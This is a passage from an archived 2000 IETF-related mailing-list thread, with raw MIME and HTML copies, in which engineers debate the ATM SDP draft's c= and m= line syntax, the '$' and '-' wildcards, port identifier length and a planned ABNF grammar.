the way things are.



On another note, I think the consensus, by articulation or silence, in this
group is to disallow the implicit virtualConnectionId naming convention. I
will do that too. This is what Sean Sheedy, Naren Tulpule and you wanted.



>     Regarding the virtual connection ID for the "m=" line, the current
draft 

>does not explicitly allow/ disallow the sub-parameters to be a dollar. If I
am 

>not wrong, the oldest draft explicitly disallowed bcg from taking on a
dollar. 

>Could such a restriction be included in the draft?



The older version did not disallow wildcarding the <bcg>. It was omitted as
an oversight. Actually, the <bcg> was added in the description of the
VirtualConnectionId without adding it into the wildcarding description. That
was a typo and not a  feature. Since there is no reason why  <bcg>
wildcarding should be disallowed, I will not be adding the restriction you
requested.



> 

>Rajesh, could you also consider including a formal grammar specification
for 

>ATM 

>SDP? ABNF might be a good choice of representation. This will help clear
any 

>ambiguities that may arise as the grammar will be the standard of reference


>when 

>building a parser or encoder for ATM sdp.



I do not think I will have a formal ABNF grammar in by the next draft, which
I hope to issue in a few days. Naren has provided me with one to start with
(Thanks!), but it needs some work. I plan to have it in the next draft after
the next.



> 

> 

>Thanx, 

>Mahamood 

> 

>





- Rajesh Kumar 

         

------------------------------------------------------- 

Rajesh Kumar                             :         : 

Carrier Packet Voice                    .|.       .|. 

Cisco Systems                         .:|||:.   .:|||:. 

San Jose, California               ..:|||||||:.:|||||||:.. 

408 527 0811                       C i s c o S y s t e m s 

rkumar@cisco.com  

------------------------------------------------------- 

          

  

 




- Rajesh Kumar
        
-------------------------------------------------------
Rajesh Kumar                             :         :
Carrier Packet Voice                    .|.       .|.
Cisco Systems                         .:|||:.   .:|||:.
San Jose, California               ..:|||||||:.:|||||||:..
408 527 0811                       C i s c o S y s t e m s
rkumar@cisco.com  
-------------------------------------------------------
          
 
 



------_=_NextPart_001_01C031F5.7B4BFD20
Content-Type: text/html;
	charset="ISO-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=ISO-8859-1">


<META content="MSHTML 5.00.2314.1000" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT color=#0000ff face=Verdana size=2><SPAN 
class=930192913-09102000>Sophia,</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Verdana size=2><SPAN 
class=930192913-09102000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Verdana size=2><SPAN class=930192913-09102000>I 
was asking whether the &lt;AddressType&gt; field is independent of the 
&lt;NetworkType&gt; field. I think it should be, if it is going to be possible 
to keep the MGC 'bearer indepenent'.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Verdana size=2><SPAN 
class=930192913-09102000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Verdana size=2><SPAN class=930192913-09102000>This 
would allow the gateway address to be interpreted without understanding the 
&lt;NetworkType&gt; field. You could even have:</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Verdana size=2><SPAN 
class=930192913-09102000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Verdana size=2><SPAN class=930192913-09102000>c=$ 
NSAP &lt;address&gt;</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Verdana size=2><SPAN 
class=930192913-09102000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Verdana size=2><SPAN class=930192913-09102000>in 
the case that a gateway supports multiple network types which can all use NSAP 
addressing.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Verdana size=2><SPAN 
class=930192913-09102000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Verdana size=2><SPAN class=930192913-09102000>It 
would also mean that the presently defined values of &lt;AddressType&gt; would 
be valid with all future values of &lt;NetworkType&gt;, as far as this made 
sense for the specific technology.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Verdana size=2><SPAN 
class=930192913-09102000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Verdana size=2><SPAN 
class=930192913-09102000>Regards...Mark</SPAN></FONT></DIV>
<BLOCKQUOTE style="MARGIN-RIGHT: 0px">
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> Scoggins, Sophia 
  [mailto:scoggins@americasm10.nt.com]<BR><B>Sent:</B> 09 October 2000 
  14:01<BR><B>To:</B> Watson, Mark ; 'confctrl@ISI.EDU'; 
  'atmsdp@eng.fore.com'<BR><B>Subject:</B> RE: Question on ATM SDP 
  draft<BR><BR></DIV></FONT>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=883275012-09102000>The 
  "c=" line is applicable to other type of networks as well. It has been 
  implemented in the IP network:</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=883275012-09102000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=883275012-09102000>c=IN 
  IP4 &lt;IP address&gt;</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=883275012-09102000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=883275012-09102000>Furthermore, there was no restriction on either MGC 
  or MG must provide the network type. So, if the MGC is bearer independent, it 
  would send a '$' to let the MG decide which type of network is. Similarly, if 
  the MGC knew the network type, but not the address type, it can let the MG to 
  decide the bearer technologies. So, all of below formats should be 
  valid:</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=883275012-09102000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=883275012-09102000>c= $ 
  $ $</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=883275012-09102000>c=IN 
  $ $</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=883275012-09102000>c=IN 
  IP4 $</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=883275012-09102000>c=ATM $ $</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=883275012-09102000>c= 
  ATM NSAP $</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=883275012-09102000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=883275012-09102000>In 
  addition to the "c=" line, the "m=" line also allows $ in many arguments 
  fields.</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=883275012-09102000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=883275012-09102000>The 
  difference between "$" and "-" is that "$" means the argument is in use, but 
  the value has been determined. The recipient of the SDP should provide/return 
  the value, while "-" means the argument is not in use (therefore, it should be 
  ignored).</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=883275012-09102000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=883275012-09102000>However, if "$" seems caused potential interop 
  problems. Because a MGC can let as many fields be "$" as it wishes, while a MG 
  may rely on the MGC's to determine the value of&nbsp;several arguments. This 
  is not a protocol issue, but an implementation agreement / interop 
  issue.</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=883275012-09102000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=883275012-09102000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=883275012-09102000>Regards, Sophia</SPAN></FONT></DIV>
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> Watson, Mark 
  [MAIFP:EP11-M:EXCH] <BR><B>Sent:</B> Monday, October 09, 2000 7:01 
  AM<BR><B>To:</B> 'confctrl@ISI.EDU'; 'atmsdp@eng.fore.com'<BR><B>Subject:</B> 
  FW: Question on ATM SDP draft<BR><BR></FONT></DIV>
  <DIV><FONT color=#0000ff face=Verdana size=2><SPAN 
  class=120545910-09102000>Anyone have any opinions on this 
?</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Verdana size=2><SPAN 
  class=120545910-09102000><BR>Regards,</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Verdana size=2><SPAN 
  class=120545910-09102000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Verdana size=2><SPAN 
  class=120545910-09102000>Mark Watson</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Verdana size=2><SPAN 
  class=120545910-09102000>Nortel Networkd</SPAN></FONT></DIV>
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> Watson, Mark 
  [mailto:mwatson@europem01.nt.com]<BR><B>Sent:</B> 28 September 2000 
  10:02<BR><B>To:</B> 'Rajesh Kumar'<BR><B>Cc:</B> 
  atmsdp@eng.fore.com<BR><B>Subject:</B> RE: Question<BR><BR></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=090565608-28092000>Hi,</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=090565608-28092000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=090565608-28092000>Minor point, but on the 'c=' line, shouldn't we 
  describe this as being the same syntax as in existing SDP:</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=090565608-28092000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=090565608-28092000>c=&lt;NetworkType&gt; &lt;AddressType&gt; 
  &lt;Address&gt;</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=090565608-28092000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=090565608-28092000>and 
  say that we are just introducing some new values for &lt;AddressType&gt; and 
  associated formats for &lt;Address&gt;. I would like to think that the new 
  &lt;AddressType&gt;s would be valid for all values of &lt;NetworkType&gt; not 
  just 'ATM' (I'm thinking more of future values of &lt;NetworkType&gt; than the 
  existing values.)</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=090565608-28092000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=090565608-28092000>The 
  current description kind of implies that the new Address Types are only used 
  when &lt;NetworkType&gt;=ATM.</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=090565608-28092000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=090565608-28092000>Regards,</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=090565608-28092000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=090565608-28092000>Mark 
  Watson</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=090565608-28092000>Nortel Networks</SPAN></FONT></DIV>
  <DIV><SPAN class=090565608-28092000></SPAN><FONT face=Tahoma><FONT 
  size=2><SPAN class=090565608-28092000><FONT color=#0000ff 
  face=Arial>&nbsp;</FONT></SPAN></FONT></FONT></DIV>
  <DIV><FONT face=Tahoma><FONT size=2><SPAN 
  class=090565608-28092000></SPAN></FONT></FONT>&nbsp;</DIV>
  <DIV><FONT face=Tahoma><FONT size=2><SPAN 
  class=090565608-28092000>&nbsp;</SPAN>-----Original 
  Message-----<BR><B>From:</B> Rajesh Kumar 
  [mailto:rkumar@cisco.com]<BR><B>Sent:</B> 26 September 2000 
  22:04<BR><B>To:</B> Mackey, Michael; 'Rajesh Kumar'<BR><B>Cc:</B> Somers, 
  Mark; atmsdp@eng.fore.com<BR><B>Subject:</B> Question<BR><BR></DIV></FONT>
  <BLOCKQUOTE style="MARGIN-RIGHT: 0px"></FONT>Michael,<BR>Yes. h.248 allows 
    "$" for the IP address. Therefore, the same should be OK for the ATM 
    address.<BR><BR>My question is: Isn't this semantically the same as the "-"? 
    This is how it is used in h.248. In this case, do we need the "-"? For 
    backwards compatibility, do we want to permit a "$" and a "-" as synonyms 
    for the 'c' line?<BR><BR>Rajesh<BR>At 06:13 AM 9/26/00 -0400, Mackey, 
    Michael wrote: <BR><FONT face=arial size=2>
    <BLOCKQUOTE type="cite" cite>Hi Rajesh ...</FONT><BR>&nbsp;&nbsp;&nbsp; I 
      have a small question about the c= line ... you say in the document that 
      it can be set to <BR>&nbsp;<BR><FONT face=arial>c=ATM 
      &lt;ATMaddressType&gt; &lt;ATMaddress&gt; </FONT><BR>&nbsp;<BR><FONT 
      face=arial>and if they are not known that ATMaddressType and ATMaddress 
      can be set to&nbsp;&nbsp; '-' , would I be correct in presuming that the 
      use of $ is also allowed for this field ... if yes then should it be 
      mentioned in the document. I know Megaco allows all fields in SDP to be 
      substituted with $ but since you explicitly say it for the vcci maybe it 
      might be better to add it in.</FONT><BR>&nbsp;<BR><FONT face=arial 
      size=2><B><I>Michael Mackey,</FONT></B></I><BR>Marconi 
      Communications,</B></I><BR>Tel: +353 1 6638407</B></I><BR>- <A 
      href="http://www.marconi.com/">www.marconi.com</A> -</B></I></B></I> 
      <BLOCKQUOTE><FONT face=tahoma size=2>
        <DL>
          <DD>-----Original Message----- 
          <DD>From:</B> Rajesh Kumar [<A href="mailto:rkumar@cisco.com" 
          eudora="autourl">mailto:rkumar@cisco.com</A>] 
          <DD>Sent:</B> Tuesday, September 26, 2000 12:34 AM 
          <DD>To:</B> mhussain@hss.hns.com; atmsdp@eng.fore.com 
          <DD>Subject:</B> ATM SDP inputs from Naren and 
          Mahamood<BR><BR></FONT><FONT color=#0000ff>
          <DD>Mahamood and Naren, 
          <DD>I have concatenated, below, several of your emails into one to 
          expedite my response. Hope this clears up the air. Thanks to you&nbsp; 
          for your latest round of inputs. These are specially significant to me 
          since your companies (Trillium and Hughes Software) are actually 
          implementing the draft.</FONT> 
          <DD>Here are some responses, in-line. 
          <DD>At 09:35 AM 9/20/00 +0530, mhussain@hss.hns.com wrote: 
          <DD>&gt; 
          <DD>&gt;1. Why does a port number need 32 digits for representation? 
          Won't 32 bits 
          <DD>&gt;suffice? I am not aware of any machine that uses such a large 
          number range &gt;for its ports. Kindly clarify.<BR><BR><FONT 
          color=#0000ff>
          <DD>See <A 
          href="http://search.ietf.org/internet-drafts/draft-ietf-ptopomib-mib-05.txt" 
          eudora="autourl">http://search.ietf.org/internet-drafts/draft-ietf-ptopomib-mib-05.txt</A>. 
          It refers to rfc2737 and rfc2233. In brief, it specifies the port 
          identifier as a variable size octet string of up to 32 octets. 
          Although the earlier drafts limited port ID to 32 bits (4 octets), it 
          was considered necessary to extend it to 32. I have a little clean-up 
          to do regarding the "34 alphanumeric" characters and I'll do it in the 
          next draft which I will circulate on the mailing list. Basically, I 
          will make it conform to what the IETF has standardized/recommended so 
          far in its physical topology MIBs. And, yes, there are implementations 
          in which the port ID is more than 32 bits e.g. cases in which there is 
          a six-byte&nbsp; IEEE 802 MAC address used as a physical port 
          ID.<BR><BR></FONT>
          <DD>&gt; 
          <DD>&gt;2. The draft says ".. to cover all cases, the &lt;portid&gt; 
          can consist of upto 34 
          <DD>&gt;alphanumeric charecters. ". My understanding of 'alphanumeric' 
          is strings like 
          <DD>&gt;"mhussain_32". If we use such identifiers for a port, is there 
          going to be some 
          <DD>&gt;kind of a mapping between the port number and the port 
          identifier? Since so far 
          <DD>&gt;as I gather ports are identified only by a 32bit 
          number.<BR><BR><FONT color=#0000ff>
          <DD>See comment above.<BR><BR></FONT>
          <DD>&gt; 
          <DD>&gt;&nbsp;&nbsp;&nbsp;&nbsp; These are also problems in migrating 
          from the older draft to the newer 
          <DD>&gt;one. 
          <DD>&gt;The older draft qualified vcci, bcg, port id etc as "decimal 
          numbers". With 
          <DD>&gt;this 
          <DD>&gt;new definition of &lt;portid&gt;, code written around the old 
          draft will be broken 
          <DD>&gt;:-(. Can we come up with a scheme that extends the old 
          definitions without 
          <DD>&gt;breaking old code?<BR><BR><FONT color=#0000ff>
          <DD>I am going to be following Naren's suggestion that: "There are a 
          few places (NSAP address, IEEE ID etc) where ONLY hex digits can 
          appear. In these cases I am fine with having no hex prefixes. My only 
          concern was places where a hex or a decimal may appear." In these 
          cases where decimal or hex values are permitted, I'll be requiring 
          explicit 0x prefixes to distinguish decimal from hex. Also, see my 
          comment, above,&nbsp; about cleaning up the alphanumeric port ID. I 
          hope this also helps backwards compatibility with the code that your 
          team wrote around the earlier draft. However, please note that there 
          is risk associated with writing code around specifications that are in 
          flux. You should expect minor changes until the document is ratified. 
          This is just the way things are.<BR><BR>
          <DD>On another note, I think the consensus, by articulation or 
          silence, in this group is to disallow the implicit virtualConnectionId 
          naming convention. I will do that too. This is what Sean Sheedy, Naren 
          Tulpule and you wanted.<BR><BR></FONT>
          <DD>&gt;&nbsp;&nbsp;&nbsp;&nbsp; Regarding the virtual connection ID 
          for the "m=" line, the current draft 
          <DD>&gt;does not explicitly allow/ disallow the sub-parameters to be a 
          dollar. If I am 
          <DD>&gt;not wrong, the oldest draft explicitly disallowed bcg from 
          taking on a dollar. 
          <DD>&gt;Could such a restriction be included in the 
          draft?<BR><BR><FONT color=#0000ff>
          <DD>The older version did not disallow wildcarding the &lt;bcg&gt;. It 
          was omitted as an oversight. Actually, the &lt;bcg&gt; was added in 
          the description of the VirtualConnectionId without adding it into the 
          wildcarding description. That was a typo and not a&nbsp; feature. 
          Since there is no reason why&nbsp; &lt;bcg&gt; wildcarding should be 
          disallowed, I will not be adding the restriction you 
          requested.<BR><BR></FONT>
          <DD>&gt; 
          <DD>&gt;Rajesh, could you also consider including a formal grammar 
          specification for 
          <DD>&gt;ATM 
          <DD>&gt;SDP? ABNF might be a good choice of representation. This will 
          help clear any 
          <DD>&gt;ambiguities that may arise as the grammar will be the standard 
          of reference 
          <DD>&gt;when 
          <DD>&gt;building a parser or encoder for ATM sdp.<BR><BR><FONT 
          color=#0000ff>
          <DD>I do not think I will have a formal ABNF grammar in by the next 
          draft, which I hope to issue in a few days. Naren has provided me with 
          one to start with (Thanks!), but it needs some work. I plan to have it 
          in the next draft after the next.<BR><BR></FONT>
          <DD>&gt; 
          <DD>&gt; 
          <DD>&gt;Thanx, 
          <DD>&gt;Mahamood 
          <DD>&gt; 
          <DD>&gt;<BR><BR><BR><BR>
          <DD>- Rajesh Kumar<FONT color=#800000 size=2> 
          <DD>&nbsp;<X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB></FONT> 

          <DD>------------------------------------------------------- 
          <DD>Rajesh 
          Kumar&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
          :&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : 
          <DD>Carrier Packet 
          Voice&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
          .|.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .|. 
          <DD>Cisco 
          Systems&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
          .:|||:.&nbsp;&nbsp; .:|||:. 
          <DD>San Jose, 
          California&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
          ..:|||||||:.:|||||||:.. 
          <DD>408 527 
          0811&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
          C i s c o S y s t e m s 
          <DD>rkumar@cisco.com&nbsp; 
          <DD>-------------------------------------------------------<FONT 
          color=#800000 size=2> 
          <DD>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
          <DD>&nbsp;</FONT><FONT color=#800000 face=garamond> 
          <DD>&nbsp;</FONT></I></I></DD></DL></BLOCKQUOTE>
      <DL></DL><BR></I><BR><BR>- Rajesh Kumar<BR><FONT color=#800000 
      size=2>&nbsp;<X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB><BR></FONT>-------------------------------------------------------<BR>Rajesh 
      Kumar&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
      :&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; :<BR>Carrier Packet 
      Voice&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
      .|.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .|.<BR>Cisco 
      Systems&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
      .:|||:.&nbsp;&nbsp; .:|||:.<BR>San Jose, 
      California&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
      ..:|||||||:.:|||||||:..<BR>408 527 
      0811&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
      C i s c o S y s t e m s<BR>rkumar@cisco.com&nbsp; 
      <BR>-------------------------------------------------------<BR><FONT 
      color=#800000 
      size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
      <BR>&nbsp;<BR></FONT><FONT color=#800000 
      face=Garamond><I>&nbsp;<BR></FONT></I></BLOCKQUOTE></BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C031F5.7B4BFD20--

From confctrl-owner  Mon Oct  9 07:09:31 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA04365
	for confctrl-outgoing; Mon, 9 Oct 2000 07:09:31 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA04359
	for <confctrl@zephyr.isi.edu>; Mon, 9 Oct 2000 07:09:29 -0700 (PDT)
Received: from smtprch1.nortel.com (smtprch1.nortelnetworks.com [192.135.215.14])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id HAA04781
	for <confctrl@isi.edu>; Mon, 9 Oct 2000 07:09:34 -0700 (PDT)
Received: from zcard015.ca.nortel.com (actually zcard015) 
          by smtprch1.nortel.com; Mon, 9 Oct 2000 09:05:00 -0500
Received: by zcard015.ca.nortel.com with Internet Mail Service (5.5.2652.35) 
          id <TT34XL8J>; Mon, 9 Oct 2000 10:04:50 -0400
Message-ID: <E7C200FFFF64D211972F0000F8082287C96470@ztcfd004.ca.nortel.com>
From: "Sophia Scoggins" <scoggins@nortelnetworks.com>
To: "Mark Watson" <mwatson@nortelnetworks.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>,
        "'atmsdp@eng.fore.com'" <atmsdp@eng.fore.com>
Subject: RE: Question on ATM SDP draft
Date: Mon, 9 Oct 2000 10:04:47 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.35)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C031F9.E1F0DB50"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C031F9.E1F0DB50
Content-Type: text/plain;
	charset="iso-8859-1"

The "c=" line is hierarchical. It would be better to have the address type
based on the network type and the address format depends on the address
type. For example, "network type = IN'" will only have the "address type =
IP4 or IP6", while "network type = ATM" has several address types that are
not applicable to IN. In the case that many layer 2 (such as ATM and FR)
networks can have NSAP, their address formats are not the same. I worked on
FR several years ago. Don't remember the exact FR address format (left that
at home), but the FR address format is different from the ATM's. So, if a
MGC or MG does not know the network type, it should not provide address type
or address. 
 
What is the advantage of providing network address type and address while
don't know the network type? If the MGC or MG does not know the network
type, then it should not have the address type or address. 
 
 
Regards, Sophia
 
-----Original Message-----
From: Watson, Mark [MAIFP:EP11-M:EXCH] 
Sent: Monday, October 09, 2000 9:33 AM
To: Scoggins, Sophia [NC1:8740:EXCH]; 'confctrl@ISI.EDU';
'atmsdp@eng.fore.com'
Subject: RE: Question on ATM SDP draft


Sophia,
 
I was asking whether the <AddressType> field is independent of the
<NetworkType> field. I think it should be, if it is going to be possible to
keep the MGC 'bearer indepenent'.
 
This would allow the gateway address to be interpreted without understanding
the <NetworkType> field. You could even have:
 
c=$ NSAP <address>
 
in the case that a gateway supports multiple network types which can all use
NSAP addressing.
 
It would also mean that the presently defined values of <AddressType> would
be valid with all future values of <NetworkType>, as far as this made sense
for the specific technology.
 
Regards...Mark

-----Original Message-----
From: Scoggins, Sophia [mailto:scoggins@americasm10.nt.com]
Sent: 09 October 2000 14:01
To: Watson, Mark ; 'confctrl@ISI.EDU'; 'atmsdp@eng.fore.com'
Subject: RE: Question on ATM SDP draft


The "c=" line is applicable to other type of networks as well. It has been
implemented in the IP network:
 
c=IN IP4 <IP address>
 
Furthermore, there was no restriction on either MGC or MG must provide the
network type. So, if the MGC is bearer independent, it would send a '$' to
let the MG decide which type of network is. Similarly, if the MGC knew the
network type, but not the address type, it can let the MG to decide the
bearer technologies. So, all of below formats should be valid:
 
c= $ $ $
c=IN $ $
c=IN IP4 $
c=ATM $ $
c= ATM NSAP $
 
In addition to the "c=" line, the "m=" line also allows $ in many arguments
fields.
 
The difference between "$" and "-" is that "$" means the argument is in use,
but the value has been determined. The recipient of the SDP should
provide/return the value, while "-" means the argument is not in use
(therefore, it should be ignored).
 
However, if "$" seems caused potential interop problems. Because a MGC can
let as many fields be "$" as it wishes, while a MG may rely on the MGC's to
determine the value of several arguments. This is not a protocol issue, but
an implementation agreement / interop issue.
 
 
Regards, Sophia
-----Original Message-----
From: Watson, Mark [MAIFP:EP11-M:EXCH] 
Sent: Monday, October 09, 2000 7:01 AM
To: 'confctrl@ISI.EDU'; 'atmsdp@eng.fore.com'
Subject: FW: Question on ATM SDP draft


Anyone have any opinions on this ?

Regards,
 
Mark Watson
Nortel Networkd
-----Original Message-----
From: Watson, Mark [mailto:mwatson@europem01.nt.com]
Sent: 28 September 2000 10:02
To: 'Rajesh Kumar'
Cc: atmsdp@eng.fore.com
Subject: RE: Question


Hi,
 
Minor point, but on the 'c=' line, shouldn't we describe this as being the
same syntax as in existing SDP:
 
c=<NetworkType> <AddressType> <Address>
 
and say that we are just introducing some new values for <AddressType> and
associated formats for <Address>. I would like to think that the new
<AddressType>s would be valid for all values of <NetworkType> not just 'ATM'
(I'm thinking more of future values of <NetworkType> than the existing
values.)
 
The current description kind of implies that the new Address Types are only
used when <NetworkType>=ATM.
 
Regards,
 
Mark Watson
Nortel Networks
 
 
 -----Original Message-----
From: Rajesh Kumar [mailto:rkumar@cisco.com]
Sent: 26 September 2000 22:04
To: Mackey, Michael; 'Rajesh Kumar'
Cc: Somers, Mark; atmsdp@eng.fore.com
Subject: Question



Michael,
Yes. h.248 allows "$" for the IP address. Therefore, the same should be OK
for the ATM address.

My question is: Isn't this semantically the same as the "-"? This is how it
is used in h.248. In this case, do we need the "-"? For backwards
compatibility, do we want to permit a "$" and a "-" as synonyms for the 'c'
line?

Rajesh
At 06:13 AM 9/26/00 -0400, Mackey, Michael wrote: 


Hi Rajesh ...
    I have a small question about the c= line ... you say in the document
that it can be set to 
 
c=ATM <ATMaddressType> <ATMaddress> 
 
and if they are not known that ATMaddressType and ATMaddress can be set to
'-' , would I be correct in presuming that the use of $ is also allowed for
this field ... if yes then should it be mentioned in the document. I know
